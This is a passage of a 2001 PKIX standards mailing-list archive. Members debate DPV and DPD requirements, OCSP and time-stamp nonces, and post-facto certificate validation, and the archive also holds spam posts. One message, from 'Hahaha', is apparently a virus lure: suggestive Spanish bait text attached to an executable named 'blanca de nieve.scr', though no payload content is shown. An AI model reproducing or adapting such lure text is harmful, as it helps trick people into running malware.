signing is an option in my revised spec.

>9.  A signature is not needed for DPV in all cases.  [Kent, 1/24/01]
>     (proposed: OCSPv2 and DPV I-Ds will continue to
>      mandate sigs pending WG discussion and consensus
>      to the contrary.)

I note the phrase "to the contrary" which is not a good sign :-). In 
your detailed response you suggest that NR is a primary motivation 
for DPV. I don't think the WG discussion supports that assertion, 
though I can't argue with you re what may have been your primary 
motivation. My analysis is that we promote the use of DPV for any 
client that is not PKI aware or that wishes to offload cert 
validation processing. That's what the motivation text has said for 
some time. Given that, NR is not implied as a primary rationale for 
DPV.

>10. Support for non-ASN.1-capable clients            [Hanna, 1/17/01]
>     (The OCSPv2, DPV and DPD efforts as authored
>      will not address XML.)

yes, it's dead for now.

>11. Are post-facto queries a requirement?            [Linn, 1/20/01]
>     (Existing support for post-facto queries in
>      RFC 2560 will be enhanced in the OCSPv2
>      and DPV I-Ds.)

my next rev allows a client to request it, but leaves support (or 
support for some time interval) at the discretion of the server.

>12. Updates to I-Ds in response to rqmts             [Pinkas, 1/23/01]
>     (Pending rqmts consensus and list response to
>      proposals. Ad-hoc working session(s) in
>      Minneapolis are likely.)

this is not an input to the requirements spec, but an action item for 
those proposing protocols to meet the spec, right?

>13. Need for validation controls beyond 2459 rules   [Pinkas, 1/23/01]
>     (DPD paths should (shall?) be valid.)

I have picked parameters based on Denis's SMIME ESP example, and 
comments from Russ. But, I don't agree with your conclusion in the 
details. We still do not have consensus on whether a client expects a 
valid path from a DPD server, or only a probably valid path. The 
inclusion of revocation status data in the DPD response is easily 
made into a client-specified option. The real issue is whether we 
require a DPD server to be capable of returning the data whenever it 
claims to return a valid path.

>14. Ability to mandate name forms in DPD responses.  [Housley, 1/24/01]
>     (Name constraints are preferable, esp. wrt to
>      cross certs).

added to the next rev.

the next rev will include a slightly edited motivation discussion. It 
will propose ASN.1 syntax for DPD and DPV client requests and server 
responses, done separately. My ASN.1 will have errors, I am sure, but 
the point of specifying something at this point is to make more 
concrete the data items being exchanged, as well as the processing 
requirements associated with the exchanged data.

I am out at the NDSS this week, so nothing will likely be ready until 
next week. Meanwhile, we have a few open issues that can continue to 
be addressed on the list.

Steve

From: Shashi Kiran <[email-masked]>
To: [email-masked]
Subject: RE: Save Big on Cleaning Equipment!
Date: Tue, 6 Feb 2001 11:52:01 -0800 

The list moderator:

Can't we stop spam on this mailing list, by applying filters? Or is this
paid for by advertisers or something? I'm sure a lot of us would hate to be
bothered by mails such as these.

Best regards,

Shashi Kiran
Product Manager
Nortel Networks

-----Original Message-----
From: [email-masked] [mailto:[email-masked]]
Sent: Tuesday, February 06, 2001 2:05 AM
To: [email-masked]
Subject: Save Big on Cleaning Equipment!

Visit www.CleanFreak.com, the site that provides solutions for 
cleaning and janitorial professionals. Our volume purchasing 
allows you to save 20% to 48% on high quality janitorial equipment 
and supplies. All items are in stock. Our fast 24 hour order 
processing insures you'll shop with us again!

<a href="http://www.cleanfreak.com">www.CleanFreak.com </a> 

Note: If this link is not highlighted in your browser please type 
in http://www.CleanFreak.com to view our site. Thank you.

 

From: <[email-masked]>
To: <[email-masked]>
Date: Tue, 6 Feb 2001 10:05:20
Subject: Save Big on Cleaning Equipment!

Visit www.CleanFreak.com, the site that provides solutions for 
cleaning and janitorial professionals. Our volume purchasing 
allows you to save 20% to 48% on high quality janitorial equipment 
and supplies. All items are in stock. Our fast 24 hour order 
processing insures you'll shop with us again!

<a href="http://www.cleanfreak.com">www.CleanFreak.com </a> 

Note: If this link is not highlighted in your browser please type 
in http://www.CleanFreak.com to view our site. Thank you.

 

From: "Martin Szotkowski" <[email-masked]>
To: <[email-masked]>
Subject: rfc2459: IssuerAltName question
Date: Tue, 6 Feb 2001 09:53:30 +0100
Organization: PVT, a.s.

Hi all,
I have a few question about AlternativeNames.
1. must be IssuerAlternativeName and SubjectAlternativeName exactly
identical in a selfsigned CA certificate?
2. must be IssuerAlternativeName in _normal_ cert identical with
SubjectAlternativeName in issuer CA certificate?

thanks Martin

From: <[email-masked]>
To: <[email-masked]>
Date: Mon, 5 Feb 2001 16:50:27
Subject: Save Big on Cleaning Equipment!

Visit www.CleanFreak.com, the site that provides solutions for 
cleaning and janitorial professionals. Our volume purchasing 
allows you to save 20% to 48% on high quality janitorial equipment 
and supplies. All items are in stock. Our fast 24 hour order 
processing insures you'll shop with us again!

<a href="http://www.cleanfreak.com">www.CleanFreak.com </a> 

Note: If this link is not highlighted in your browser please type 
in http://www.CleanFreak.com to view our site. Thank you.

 

From: Peter Sylvester <[email-masked]>
Date: Mon, 5 Feb 2001 17:08:23 +0100 (MET)
To: [email-masked], [email-masked]
Subject: RE: Post-facto queries [Was: RE: DPD & DPV requirements]
Cc: [email-masked]

> 
> Peter,
> 
> Thanks for the response.  Comments below.
> 
> Yuriy
> 
I'd like to resume:

X.509 path validation takes a date as an input for the
validation. So be it. This feature can be used in some
circumstances but one should be careful not to consider
it as a replacement of other services (long term validation). 

Expiration is similar to revocation in this workflow context.
If the originating user keeps a record of what was signed, 
and checks whether the 'acknowledge' has been received or not,
the sending user can validate its own cert and get a warning 
"cert expired" or "cert revoked", or "it might happen that your 
request be rejected because your credentials have expired, 
please do this and that"; 

Maybe the signing user just after sending out the text realised
that it was wrong, and immediately revokes his cert in order not
to get the document accepted.

Reply-To: <[email-masked]>
From: "Yuriy Dzambasow" <[email-masked]>
To: "Peter Sylvester" <[email-masked]>, <[email-masked]>
Cc: <[email-masked]>
Subject: RE: Post-facto queries [Was: RE: DPD & DPV requirements]
Date: Mon, 5 Feb 2001 08:46:59 -0500
Importance: Normal

Peter,

Thanks for the response.  Comments below.

Yuriy

...snip...
> yuriy> To support non-repudiation, all you need is the ability to retrieve
> evidence to show that the signature was valid/invalid at the time in
> question.  Where that is done should not matter, although some approaches
> are better than others, and may be easier to prove in court.

You need an evidence that the document in question was signed at the
time in question by the entity in question.

The validity of the signing certificate may not be sufficient for that.
yuriy> It may not be sufficient, but it is part of the evidence that will
surely be required.

...snip...

> yuriy> I understand your solution, and I agree that some RPs will operate
> this way.  But in some communities that I am working in, like mortgages,
> smaller institutions desire the capability to perform a post-facto query.

Wouldn't your environment better be suited by a service that does not
ask for a validity of a certificate chain, but for the validity of a
signed document?
yuriy> In some cases, yes.  But I was not under the impression that we were
pursuing this functionality for DPV.
>
> > In addition, I think it is helpful to have a capability to perform
> > post-facto queries when for some reason the DPV service is originally
> > unavailable.
>
> Making a query an hour later is fairly different from making the query 10
> years later.
> yuriy> But in essence, it is the same sort of query.  Was this signature
> valid/invalid at some time before the present?

That is not the question you have asked with DPV.
yuriy> Sorry for the confusion.  I have inadvertently confused certificate
validation with signature validation.  The two are indeed different.  I was
talking about certificate validation throughout this thread.

> yuriy> Some solutions I have seen don't send the receipt until the
signature
> has been validated.  Until then, the sender is told that a receipt is
> pending.  Nonetheless, you still need to validate the signature at some
time
> before the present, regardless of how you handled the receipt.

What can happen in the (short) time between these events?
yuriy> The certificate can expire or be revoked.

- The certificate expires. Well, a user should probalby not make the
  request with a cert that has a lifetime of 2 minutes left.
yuriy> Do you know how many users I have talked to who were not aware that
their certificate was going to expire because of poor policy around renewal
notifications?  I don't think we can dismiss this case.

- The certificate gets revoked. This is an exceptional case, and
  it is not clear in advance whether the sent message should be treated
  as valid or invalid. If the revocation is initiated by the user
  of the cert, then you fall into the previous case.
yuriy> Revocation can still occur, and it should not jeopardize the fact
that I signed a document at a given time using a valid certificate.

- Nothing happens. Then the two validations deliver the same result.
yuriy> Agree.

> > When it comes back up, the agency will want
> > to know if my signature was valid when the proposal was submitted (at
> > 11:55A), and not when the service comes back up.
>
> If the service was down for only a few hours, this can easily be be done.
> Doing it, 10 years later is a different story.
> yuriy> Again, I think the request is not different, in that you are asking
a
> server to tell you if a signature was valid at some time before the
present.
> It should not matter if it is 10 hours before present, or 10 years before
> present.  I understand the additional storage requirements on the server
to
> support requests that date back 10 years, but why would we say it is
> acceptable to define a protocol that supports post-facto queries up to
some
> amount of time before present?

Again, this is not the question you make to the DPV server.
yuriy> Again, I apologize for the confusion.  I was talking about
certificate validation.

The current logic of path validation takes as an input a date value.
Thus, in a strictly formal way, it seems to me that a DPV server has to
support some date as an input.

The format of asking 10 years later or 2 hours may be the same, but it
doesn't seem to make much sense to me to make an INITIAL verification
10 years later.
yuriy> I am not saying that an INITIAL verification takes place 10 years
later.  What I provided in this thread were two different examples for why
one would make a post-facto query to a DPV server.

Reply-To: <[email-masked]>
From: "Ruheena Rashid" <[email-masked]>
To: <[email-masked]>
Subject: unsubscribe
Date: Mon, 5 Feb 2001 16:03:56 +0530
Importance: Normal

unsubscribe

From: [email-masked]
Date: Sat, 3 Feb 2001 16:38:09 -0800 (PST)
To: [email-masked]
Subject: Save 40%-70% on Shipping Supplies
Organization:

--=200102031624=
Content-Type: text/plain;charset=US-ASCII

Check out http://www.packagingdepot.com for Wholesale Prices on Shipping Supplies available on-line, by the case or pallet! 

Acrylic Adhesive Carton Sealing Tape-2” x 55 yd. Clear 2.0 mil 
(36 Rolls/Case) $20.65

Stretch Film-15” 80 Gauge 1500 feet 
(4 Rolls/Case) $32.87

Save 40%-70% on your Standard or Custom Boxes!!!

Free membership!!! 100% Satisfaction Guaranteed!!!

Kirk Timm 
PackagingDepot.com 
888-746-2128

************************************************************ 
If you receive this message and have never joined one of our 
email lists you can be removed by replying to: 
mailto:[email-masked]?subject=remove 
************************************************************

--=200102031624=--

Date: Fri, 2 Feb 2001 03:34:09 -0800 (PST)
From: Hahaha <[email-masked]>
Subject: Enanito si, pero con que pedazo!

----VEO9EBGPMB
Content-Type: text/plain; charset="us-ascii"

Faltaba apenas un dia para su aniversario de de 18 años. Blanca de Nieve fuera
siempre muy bien cuidada por los enanitos. Ellos le prometieron una *grande*
sorpresa para su fiesta de compleaños. Al entardecer, llegaron. Tenian un brillo
incomun en los ojos...

----VEO9EBGPMB
Content-Type: application/octet-stream; name="blanca de nieve.scr"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="blanca de nieve.scr"

----VEO9EBGPMB--

Date: Thu, 1 Feb 2001 17:54:18 -0500
To: "Michael Myers" <[email-masked]>
From: Stephen Kent <[email-masked]>
Subject: Re: OCSPv2, DPV and DPD issues summary (long)
Cc: <[email-masked]>

Mike,

I will try to get around to reading your message tomorrow, as well as 
Denis' message on DPV/DPD requirements from a week ago.  It is time 
for the WG to settle on requirements and move on to the next phase of 
the process. I greatly appreciate the effort you have put into 
aggregating this material and look forward to producing a revised 
requirements document for DPV and DPD that the WG can review, comment 
upon, and adopt. Several additional WG members have been very active 
in contributing to the discussion and I think we have progressed in 
our understanding of the nature and some of the subtleties of the 
problems that we are trying to solve.  Several suggestions have been 
made that will allow us to narrow our focus and eliminate some 
options that were originally put forth, so that we can have standards 
that will be fully functional yet not overly complex.

Steve

From: "Michael Myers" <[email-masked]>
To: "Rich Salz" <[email-masked]>, "Stephen Kent" <[email-masked]>
Cc: <[email-masked]>
Subject: RE: DPD & DPV requirements - to nonce or not to nonce?
Date: Thu, 1 Feb 2001 13:39:40 -0800
Importance: Normal

FWIW, the appearance of the OCSP nonce in the spec was a direct outcome of a
list-based discussion between myself and Carlisle regarding replay attacks.
The "freshness effect" vs. pre-signed and cached OCSP responses is a useful
side effect.  It might turn out to be the more useful effect of the
practice.

Mike

> From: [email-masked] [mailto:[email-masked]]On Behalf Of
> Rich Salz
> Sent: Thursday, February 01, 2001 12:33 PM
> To: Stephen Kent
> Cc: [email-masked]
> Subject: Re: DPD & DPV requirements - to nonce or not to nonce?
>
>
> > Re your "newcomer" comment, let's just say that a standard should be
> > written so that a search of the archives is not necessary to its
> > understanding.
>
> Oh, I quite agree, and certainly meant no offense.  I was only trying to
> say that it can be hard to make everything explicit that should be made
> explicit.
>
> I never tried to say that most folks use the OCSP nonce to prove
> business logic, only that some do, and that was an original motivator
> for its appearance in the spec.  And I apologize that we-all didn't make
> that more clear.
> 	/r$
>

Sender: rsalz
Date: Thu, 01 Feb 2001 15:33:27 -0500
From: Rich Salz <[email-masked]>
To: Stephen Kent <[email-masked]>
CC: [email-masked]
Subject: Re: DPD & DPV requirements - to nonce or not to nonce?

> Re your "newcomer" comment, let's just say that a standard should be
> written so that a search of the archives is not necessary to its
> understanding.

Oh, I quite agree, and certainly meant no offense.  I was only trying to
say that it can be hard to make everything explicit that should be made
explicit.

I never tried to say that most folks use the OCSP nonce to prove
business logic, only that some do, and that was an original motivator
for its appearance in the spec.  And I apologize that we-all didn't make
that more clear.
	/r$

Date: Thu, 01 Feb 2001 21:27:49 +0100
From: Bernd Matthes <[email-masked]>
Reply-To: [email-masked]
Organization: Celo Communications -- http://www.celocom.com
To: [email-masked]
Subject: Re: Query about nonce field in Time-stamp response.

This is a cryptographically signed message in MIME format.

--------------ms1A91036054EEAF0BCBC964C2
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Prashant Dambe wrote:
> 
> Is it required to have responder's signature over the Nonce as nonce will
> never be used in the future time.
> If it is so then nonce can be included like PKIStatusInfo which will be not
> included in Timestamptoken.
> If nonce has to be signed then why PKIStatusInfo is not included in
> Signed-Data.
> 
Hi,

How do you inform a client about a refused time stamp token if the 
PKIStatusInfo is inside the refused token?
There bites the cat itself in the tail.
If the PKIStatusInfo is outside of the time stamp token it can be always
sent
to the client.

If the nonce not belongs to the messageImprint in a signature
it's never provable surely that an time stamp token belongs to an 
time stamp query. The nonce is a part of evidence and must be therefore
signed.
The TSA had to prove that a nonce belongs to a messageImprint
has received. On which way should it be done? Just only with a *signed*
nonce.

An unsigned nonce can be exchanged from a "man in the middle" to provoke
that the client reject the received time stamp token.

with kind regards
-- 
Mors certa, hora incerta. In dubio pro mille.
--------------------------------------------------------------------
Bernd Matthes                   Celo Communications GmbH
Senior Software Engineer    	Weissenfelser Strasse 46a
Nachrichtentechniker            D 06217 Merseburg
Dipl.-Ing.(FH)                  http://www.celocom.com
  f. technische Informatik      mailto:[email-masked]
http://www.worldbug.de          Tel.: +49 3461/3318-0
mailto:[email-masked]      Fax:  +49 3461/415072
--------------------------------------------------------------------
Have You kicked Your cat today?
--------------ms1A91036054EEAF0BCBC964C2
Content-Type: application/x-pkcs7-signature; name="smime.p7s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="smime.p7s"
Content-Description: S/MIME Cryptographic Signature

--------------ms1A91036054EEAF0BCBC964C2--

Date: Thu, 1 Feb 2001 15:16:02 -0500
To: Rich Salz <[email-masked]>
From: Stephen Kent <[email-masked]>
Subject: Re: DPD & DPV requirements - to nonce or not to nonce?
Cc: [email-masked]

Rich,

>  > This sort of
>>  overloading of the nonce, no matter now noble the intent, seems like
>>  a bad idea in the larger context. But, given the current lack of
>>  specification re nonce generation, it's certainly not prohibited.
>
>Quite the contrary, as quoting from 4.4.1 of RFC2560
>    The nonce cryptographically binds a request and a response to prevent
>    replay attacks.
>
>How do I know you did a status check on the signer before relying on the
>signer?  Tie the document to the request.  It's one reason why OCSP is
>so much "better" than CRL's.  (Please -- I'm *kidding around.*)
>
>I'd be quite surprised if this doesn't show up in the mail archives once
>or twice.  I'm not sure how to make it could have been made more
>explicit, and even if it would have been appropriate for 2560.
>
>These kinds of things always show up when a newcomer reads a spec,
>separately from those have been heads-down into it from the beginning.

I could point you to mountains of literature on secure protocols that 
use nonces for freshness (usually equivalent to anti-replay, but 
subtly distinct here). I doubt that any of those suggest deriving a 
nonce from a document hash. That's because most of these protocols 
are independent of the application context and thus no document would 
be directly relevant. Peter's cite's of X.509 auth protocols 
certainly have this quality.  I agree that there is a nice 
side-effect of choosing a nonce in this fashion for this protocol, 
for some applications, but there is no reason to suppose that every 
(most?) OCSP request is being used with a document for NR purposes. 
Thus this is not a generally applicable notion and I stand by my 
criticism.

Re your "newcomer" comment, let's just say that a standard should be 
written so that a search of the archives is not necessary to its 
understanding.

Steve

From: Daniel Ash <[email-masked]>
To: "'Peter Sylvester'" <[email-masked]>
Cc: [email-masked]
Subject: RE: Post-facto queries [Was: RE: DPD & DPV requirements]
Date: Thu, 1 Feb 2001 15:13:39 -0500 

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C08C8B.770A2430
Content-Type: text/plain;
	charset="iso-8859-1"

> Wouldn't your environment better be suited by a service that does not
> ask for a validity of a certificate chain, but for the validity of a
> signed document?  

Has there been any discusion in this group about a service such as this?  

-dan

------_=_NextPart_001_01C08C8B.770A2430
Content-Type: text/html;
	charset="iso-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">
<META NAME="Generator" CONTENT="MS Exchange Server version 5.5.2653.12">
<TITLE>RE: Post-facto queries [Was: RE: DPD &amp; DPV requirements]</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=2>&gt; Wouldn't your environment better be suited by a service that does not</FONT>
<BR><FONT SIZE=2>&gt; ask for a validity of a certificate chain, but for the validity of a</FONT>
<BR><FONT SIZE=2>&gt; signed document?&nbsp; </FONT>
</P>

<P><FONT SIZE=2>Has there been any discusion in this group about a service such as this?&nbsp; </FONT>
</P>

<P><FONT SIZE=2>-dan</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C08C8B.770A2430--

From: "Michael Myers" <[email-masked]>
To: "Denis Pinkas" <[email-masked]>
Cc: "PKIX-List" <[email-masked]>
Subject: Signature Validation vs. DPV
Date: Thu, 1 Feb 2001 12:18:48 -0800
Importance: Normal

Denis,

What is your position regarding my observation that signature validation
requirements may be out of scope of the OCSPv2/DPV/DPD certificate
validation work efforts in PKIX?

Mike

From: "Michael Myers" <[email-masked]>
To: "Stephen Kent" <[email-masked]>
Cc: <[email-masked]>
Subject: RE: DPD & DPV requirements - to nonce or not to nonce?
Date: Thu, 1 Feb 2001 12:13:12 -0800
Importance: Normal

Steve,

We might be in agreement.  Today, OCSP clients MAY force absolute freshness
via nonces.  My only point being that needs for system-level deployment
flexibility very likely preclude a SHALL in the OCSPv2 update to RFC 2560.
My thanks to Peter as well re: the producedAt field.  I recall that one took
a bit of dialog years back as well.

Mike

> From: Stephen Kent [mailto:[email-masked]]
> Sent: Thursday, February 01, 2001 11:10 AM
> To: Michael Myers
> Cc: [email-masked]
> Subject: RE: DPD & DPV requirements - to nonce or not to nonce?
>
>
> Mike,
>
> >Steve, Carlin:
> >
> >Towards closure, in my humble opinion it seems the best we can do here is
> >maintain OCSP's optional nonce mechanism and let the system security
> >architects of the world sort out these system level issues.
>
> We need to have a clear definition of what the servers do, and what
> the clients can expect. After we establish that, we can leave the
> rest of the details to implementors. So, for example, if someone
> wants to make use of the sort of scheme that Peter Williams proposed
> for efficient storage and lookup of nonces, that's beyond the scope
> of the standard. But, the issue of whether the client can demand a
> very fresh OCSP response or not is a matter for the standard as it is
> at the heart of the service being offered, the security model for the
> system that uses the server, etc.  Anyway, since Peter Sylvester
> pointed out my oversight re the OCSP responder ProducedAt field, I
> feel better about what the residual problems are.
>
> Steve
>

Sender: rsalz
Date: Thu, 01 Feb 2001 14:57:52 -0500
From: Rich Salz <[email-masked]>
To: Stephen Kent <[email-masked]>
CC: [email-masked]
Subject: Re: DPD & DPV requirements - to nonce or not to nonce?

> This sort of
> overloading of the nonce, no matter now noble the intent, seems like
> a bad idea in the larger context. But, given the current lack of
> specification re nonce generation, it's certainly not prohibited.

Quite the contrary, as quoting from 4.4.1 of RFC2560
   The nonce cryptographically binds a request and a response to prevent
   replay attacks. 

How do I know you did a status check on the signer before relying on the
signer?  Tie the document to the request.  It's one reason why OCSP is
so much "better" than CRL's.  (Please -- I'm *kidding around.*)

I'd be quite surprised if this doesn't show up in the mail archives once
or twice.  I'm not sure how to make it could have been made more
explicit, and even if it would have been appropriate for 2560.

These kinds of things always show up when a newcomer reads a spec,
separately from those have been heads-down into it from the beginning.
	/r$

Date: Thu, 1 Feb 2001 14:43:45 -0500
To: Rich Salz <[email-masked]>
From: Stephen Kent <[email-masked]>
Subject: Re: DPD & DPV requirements - to nonce or not to nonce?
Cc: [email-masked]

At 2:14 PM -0500 2/1/01, Rich Salz wrote:
>  > I agree that we should maintain OCSP's optional nonce mechanism.
>>  As Peter Sylvester has pointed out, even without using the nonce
>>  the "freshness" of the response can be determined by the ProducedAt
>>  field to at least the resolution provided by the similar field in CRLs.
>
>I fade in and out of the DPD/DPV discussion, but my ears perked up when
>I saw the above...
>
>There's much more to the nonce then freshness.  For example, if I
>receive a signed document, I can use the hash of that document as the
>nonce.  I now have "proof" (not in a legal, perhaps in a contractual)
>sense that I did due diligence before relying on the signature.  That's
>why Rich Ankney put them into the OCSP spec.

Proof because you used the nonce in the OCSP extension? Well, that's 
novel, but I'd rather not have "features" like this lurking in 
standards with no accompanying documentation. Peter Williams 
chastised us for not doing a better job of describing nonce 
management for OCSP, and he's got a valid point. This sort of 
overloading of the nonce, no matter now noble the intent, seems like 
a bad idea in the larger context. But, given the current lack of 
specification re nonce generation, it's certainly not prohibited.

Steve

From: "Prashant Dambe" <[email-masked]>
To: "Jean-Marc Desperrier" <[email-masked]>, <[email-masked]>
Subject: Re: Query about nonce field in Time-stamp response.
Date: Thu, 1 Feb 2001 16:02:26 +0530

Is it required to have responder's signature over the Nonce as nonce will
never be used in the future time.
If it is so then nonce can be included like PKIStatusInfo which will be not
included in Timestamptoken.
If nonce has to be signed then why PKIStatusInfo is not included in
Signed-Data.

----- Original Message -----
From: Jean-Marc Desperrier <[email-masked]>
To: <[email-masked]>
Sent: Thursday, January 25, 2001 4:44 PM
Subject: Re: Query about nonce field in Time-stamp response.

> Prashant Dambe wrote:
>
> > Is it  required that Nonce should be included in  TSTInfo i.e the part
of
> > TimeStampToken ?
>
> Draft version 13 says :
> TSTInfo ::= SEQUENCE  {
>   ....
>      nonce                        INTEGER                  OPTIONAL,
>        -- MUST be present if the similar field was present
>        -- in TimeStampReq. In that case it MUST have the same value.
>
> So it's required, yes.
>
> > Nonce can be a part of Time-stamp response like PKIStatusInfo which will
be
> > not included in Timestamptoken.
>
> No such possibility is provided in the current form of the TimeStampResp.
> Anyway, the nonce would have to be signed by the responder, so what you
suggest
> requires a second signature, so that the nonce can be removed without
breaking
> the TSTInfo signature.
>
> If you don't want the nonce payload, the draft suggests to use both a
local
> clock and a moving time window during which the requester remembers all
the
> hashes sent during that time window.
>
> Bernd Matthes <[email-masked]> wrote:
> > I think it's a little auxiliary means against double timestamps.
> > A TSA should reject a time stamp query if the same
> > messageImprint *and* the same nonce found in it's database.
> > It's possible to get multiple timestamps ("re-new") for the
> > same document,message or whatever,
> > but *never* with already issued nonce value.
>
> My understanding until now is that's it's only up to the client to check
the
> nonce, and not to the server.
>
> So howewer interesting your idea is, the standard does not forbid a client
to
> do what you describe, for whatever reason, and the systematic rejection
could
> cause interoperability problems.
>
> If you did it, your clients would have to check their tools will never do
that,
> especially when resending the same request because the answer wasn't
received.
>
> Here's what Denis said recently which is quite related to this question :
>
> >> And additional badSenderNonce(18)?
> >This has not been added. I do not want to raise at this time questions
like:
> >what is a bad nonce ? or how does a server know it is a bad nonce ?

Date: Thu, 1 Feb 2001 14:09:59 -0500
To: "Michael Myers" <[email-masked]>
From: Stephen Kent <[email-masked]>
Subject: RE: DPD & DPV requirements - to nonce or not to nonce?
Cc: <[email-masked]>

Mike,

>Steve, Carlin:
>
>Towards closure, in my humble opinion it seems the best we can do here is
>maintain OCSP's optional nonce mechanism and let the system security
>architects of the world sort out these system level issues.

We need to have a clear definition of what the servers do, and what 
the clients can expect. After we establish that, we can leave the 
rest of the details to implementors. So, for example, if someone 
wants to make use of the sort of scheme that Peter Williams proposed 
for efficient storage and lookup of nonces, that's beyond the scope 
of the standard. But, the issue of whether the client can demand a 
very fresh OCSP response or not is a matter for the standard as it is 
at the heart of the service being offered, the security model for the 
system that uses the server, etc.  Anyway, since Peter Sylvester 
pointed out my oversight re the OCSP responder ProducedAt field, I 
feel better about what the residual problems are.

Steve

Sender: rsalz
Date: Thu, 01 Feb 2001 14:14:05 -0500
From: Rich Salz <[email-masked]>
To: Carlin Covey <[email-masked]>
CC: [email-masked]
Subject: Re: DPD & DPV requirements - to nonce or not to nonce?

> I agree that we should maintain OCSP's optional nonce mechanism.
> As Peter Sylvester has pointed out, even without using the nonce
> the "freshness" of the response can be determined by the ProducedAt
> field to at least the resolution provided by the similar field in CRLs.

I fade in and out of the DPD/DPV discussion, but my ears perked up when
I saw the above...

There's much more to the nonce then freshness.  For example, if I
receive a signed document, I can use the hash of that document as the
nonce.  I now have "proof" (not in a legal, perhaps in a contractual)
sense that I did due diligence before relying on the signature.  That's
why Rich Ankney put them into the OCSP spec.
	/r$

Date: Thu, 1 Feb 2001 14:04:00 -0500
To: Peter Sylvester <[email-masked]>
From: Stephen Kent <[email-masked]>
Subject: RE: DPD & DPV requirements - to nonce or not to nonce?
Cc: [email-masked], [email-masked]

At 7:18 PM +0100 2/1/01, Peter Sylvester wrote:
>  >
>>  OK, now I see the crux of this issue. Yes, for DPD, a returned OCSP
>>  response, even if it carries an optional nonce, does not provide the
>>  desired freshness guarantee for the client, who is unable to
>>  independently evaluate the timeliness of the response. Our current
>>  proposal implicitly requires the client to trust the DPD server,
>>  which violates our model for DPD vs. DPV.
>
>
>An OCSP responce contains a ProducedAt field.
>
>Similar as with a CRL obtained from a directory a client has to
>determine the freshness of the response.

Whoops. I missed that. OK, so we don't have a freshness problem any 
worse than for a CRL. That brings it back to the issue of trusting 
the DPD server to return the freshest one available, OR having an 
option for the client to insist (request?) that his own nonce be used 
to request a very fresh response, OR letting the client specify a 
required freshness that will satisfy its requirements (thus allowing 
more leeway for the server).

Any suggestions as to which of these is preferable?

Steve

From: "Carlin Covey" <[email-masked]>
To: <[email-masked]>
Subject: RE: DPD & DPV requirements - to nonce or not to nonce?
Date: Thu, 1 Feb 2001 11:54:07 -0700
Importance: Normal

Mike, Steve, Peter and Peter,

I agree that we should maintain OCSP's optional nonce mechanism.
As Peter Sylvester has pointed out, even without using the nonce
the "freshness" of the response can be determined by the ProducedAt
field to at least the resolution provided by the similar field in CRLs.

Regards, Carlin

-------------------------

- Carlin Covey
  Cylink corp.

-----Original Message-----
From: Michael Myers [mailto:[email-masked]]
Sent: Thursday, February 01, 2001 11:50 AM
To: Stephen Kent; Carlin Covey
Cc: [email-masked]
Subject: RE: DPD & DPV requirements - to nonce or not to nonce?

Steve, Carlin:

Towards closure, in my humble opinion it seems the best we can do here is
maintain OCSP's optional nonce mechanism and let the system security
architects of the world sort out these system level issues.

Mike

> From: Stephen Kent [mailto:[email-masked]]
> Sent: Thursday, February 01, 2001 9:16 AM
> To: Carlin Covey
> Cc: [email-masked]
> Subject: RE: DPD & DPV requirements - to nonce or not to nonce?
>
>
> Carlin,
>
> ><snip>
> >[Carlin]:
> >I agree that if the client is going to trust the DPV server
> >to give a correct status response, the client should also trust the
> >DPV server to check the nonces in any responses that the server receives
> >from queries that it relays to other servers.
> >
> >But what about a DPD query?  The client gets back a list of certificates
> >and a set of certificate status information that may contain
> OCSP responses
> >with nonces in them.  But the client can't use the nonces to
> protect itself
> >against replay, because the client didn't generate those nonces.  Some
> >server downstream (upstream? which way does this stream flow?) put the
> >nonces in queries that were relayed to other servers.  If the client can
> >make do without replay protection, why were nonces put in the
> OCSP protocol
> >in the first place?  Note that this isn't a deficiency of OCSP.  The same
> >thing would be true of DPV, DPD or SCVP if those responses were returned
> >in DPD responses.
>
> OK, now I see the crux of this issue. Yes, for DPD, a returned OCSP
> response, even if it carries an optional nonce, does not provide the
> desired freshness guarantee for the client, who is unable to
> independently evaluate the timeliness of the response. Our current
> proposal implicitly requires the client to trust the DPD server,
> which violates our model for DPD vs. DPV.
>
> It also raises a related, subtle issue, namely what service(s) should
> a DPD server provide when OCSP is employed. The server could be
> required to use a nonce supplied by the client in a real time query
> to an OCSP server, in an effort to provide a transitive freshness
> guarantee. But that does away with the presumed caching benefit that
> might accrue from using a DPD server. If the server caches OCSP
> queries, then the client has to trust the server, because the client
> cannot have influenced the query a priori, and/or because the query
> might be returned to multiple clients (who would not have coordinated
> their nonce choices). This latter situation looks a lot like an OCSP
> server that pre-signs responses and thus does not even make use of a
> nonce.
>
> As described above, it seems that the problem has a lot to do with
> the option for transitive nonce use by a DPD server, and maybe with
> the need for such servers to allow a client to specify such service,
> and less with what I gleaned from Peter's message, which seemed to
> focus on techniques by which a server could more efficiently protect
> itself from replayed client queries. Yes, such techniques could be
> used by a server here to reduce its vulnerability to replayed
> queries, but that seems to be a secondary issue relative to the more
> fundamental one we face with regard to DPD and OCSP.
>
> Maybe we should settle for CRLs here and avoid this mess :-)
>
> Steve
>
>

From: "Michael Myers" <[email-masked]>
To: "Stephen Kent" <[email-masked]>, "Carlin Covey" <[email-masked]>
Cc: <[email-masked]>
Subject: RE: DPD & DPV requirements - to nonce or not to nonce?
Date: Thu, 1 Feb 2001 10:50:19 -0800
Importance: Normal

Steve, Carlin:

Towards closure, in my humble opinion it seems the best we can do here is
maintain OCSP's optional nonce mechanism and let the system security
architects of the world sort out these system level issues.

Mike

> From: Stephen Kent [mailto:[email-masked]]
> Sent: Thursday, February 01, 2001 9:16 AM
> To: Carlin Covey
> Cc: [email-masked]
> Subject: RE: DPD & DPV requirements - to nonce or not to nonce?
>
>
> Carlin,
>
> ><snip>
> >[Carlin]:
> >I agree that if the client is going to trust the DPV server
> >to give a correct status response, the client should also trust the
> >DPV server to check the nonces in any responses that the server receives
> >from queries that it relays to other servers.
> >
> >But what about a DPD query?  The client gets back a list of certificates
> >and a set of certificate status information that may contain
> OCSP responses
> >with nonces in them.  But the client can't use the nonces to
> protect itself
> >against replay, because the client didn't generate those nonces.  Some
